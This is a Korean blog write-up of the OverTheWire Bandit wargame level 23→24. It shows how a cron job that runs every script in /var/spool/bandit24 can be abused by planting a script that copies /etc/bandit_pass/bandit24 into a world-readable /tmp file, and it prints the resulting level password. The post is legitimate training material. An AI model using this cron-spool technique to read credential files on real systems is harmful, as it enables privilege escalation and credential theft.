일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 알고리즘
- 시스템프로그래밍
- pwncollege
- C언어
- kernel
- 리눅스 커널
- 하드링크
- C++
- write up
- 시스템
- css
- Leviathan
- 프로그래밍
- Pwnable.kr
- multiplexing
- 어셈블리어
- 리버싱
- 컴퓨터구조
- radare2
- 시그널
- wargame
- 리눅스커널
- 포너블
- pwn.college
- Bandit
- 워게임
- 리눅스
- 시스템 프로그래밍
- 시스템해킹
- 커널
- Today
- Total
Computer Security
#14 Wargame bandit 11 (Level23 ~ Level24), touch,bash,cp 본문
Level23 -> Level24
시간 기반 작업 스케줄러인 cron에서 일정 간격으로 프로그램이 자동으로 실행됩니다.
/etc/cron.d/에서 구성을 찾고 어떤 명령이 실행되고 있는지 확인하십시오.
참고: 이 수준에서는 자신의 첫 번째 셸 스크립트를 만들어야 합니다.
이것은 매우 큰 단계이며 이 레벨을 달성했을 때 자신을 자랑스러워해야 합니다!
참고 2: 쉘 스크립트는 일단 실행되면 제거되므로 사본을 보관하고 싶을 수도 있습니다.
1. cd 로 /etc/cron.d 에 접근하고 ls 로 파일들을 확인 해보자.
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls
cronjob_bandit15_root cronjob_bandit22 cronjob_bandit24
cronjob_bandit17_root cronjob_bandit23 cronjob_bandit25_root
2.cat을 이용해 cronjob_bandit24를 읽어보자.
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
3. cat을 이용해 저 위에 나와있는 /usr/bin/cronjob_bandit24.sh를 읽어보자.
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash #bash 쉘을 사용
myname=$(whoami) #bandit24
cd /var/spool/$myname #이동
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*; #모든파일에 대해 반복
do
if [ "$i" != "." -a "$i" != ".." ]; #파일 이름이 "." 현재디렉토리가 아니고 ".." 상위 디렉토리가 아니면
then
echo "Handling $i"
timeout -s 9 60 ./$i #60초 이내에 실행, 60초를 초과하면 프로세서를 없애겠다.
rm -f ./$i #프로그램 제거
fi
파일 이름이 "." 현재 디렉토리가 아니고 ".." 상위 디렉토리가 아니면 60초 이내에 실행해라.
60초 를 초과하면 이 프로세스를 없애겠다 한다.
그뒤에 프로그램 강제 제거 하겠다는 뜻이다.
4.자 일단 /tmp/ 디렉토리에 접근해서 mkdir명령어로 gg라는 디렉토리를 하나 만들자.
bandit23@bandit:/tmp$ mkdir gg
bandit23@bandit:/tmp$ cd gg
5.그 뒤에 vim 명령어를 이용해 test.sh을 만들어서, test.sh안에 아래와 같이 적고 저장해주자.
bandit23@bandit:/tmp/gg$ vim test.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/gg/pass
이 내용은 bandit24의 패스워드를 pass파일로 저장하겠다라는 뜻이다.
6. 그다음 chmod 777을 이용해 test.sh의 모든 권한을 부여해준다.(부여해주지 않으면 절대 안됨!!(쓰기권한이 없기에 못씀))
bandit23@bandit:/tmp/gg$ chmod 777 test.sh
7,touch를 이용해 pass라는 빈파일 하나를 만들고, 권한을 부여해준다.
bandit23@bandit:/tmp/gg$ touch pass
bandit23@bandit:/tmp/gg$ chmod 777 pass
bandit23@bandit:/tmp/gg$ ls
pass test.sh
8. cp 명령어를 이용해 test.sh안에 /var/spool/bandit24를 복사해준다.
bandit23@bandit:/tmp/gg$ cp test.sh /var/spool/bandit24
8.이제 계속 cat pass를 실행하면서 비밀번호가 뜰때까지 기다려주면 끝!
bandit23@bandit:/tmp/gg$ cat pass
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
9.얻은 비밀번호: UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 로 bandit24에 접속하면 성공!
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* gef (https://github.com/hugsy/gef) in /usr/local/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
* checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.
Enjoy your stay!
bandit24@bandit:~$
일단,,, 정리 하기전에는 정말 100번정도 시도해본 것 같다.
거의 한 이문제에만 8시간 쏟은것 같은데,, 정리하고 나니 이렇게 쉬운 문제였다니... ㅠㅠ
아무튼 그래도 끝까지 포기하지않고 해냈다는 것에 의미를 두자..
'Wargame:Bandit' 카테고리의 다른 글
#16 Wargame bandit 13 (Level26 ~ Level28), git clone명령어 (0) | 2022.07.23 |
---|---|
#15 Wargame bandit 12 (Level24 ~ Level26), 브루트포스공격,more명령어 (0) | 2022.07.22 |
#13 Wargame bandit 10 (Level21 ~ Level23), tmp (0) | 2022.07.19 |
#12 Wargame bandit 9 (Level19 ~ Level21), setuid,nc 명령어 (0) | 2022.07.18 |
#11 Wargame bandit 9 (Level17 ~ Level19), diff명령어,bashrc (0) | 2022.07.17 |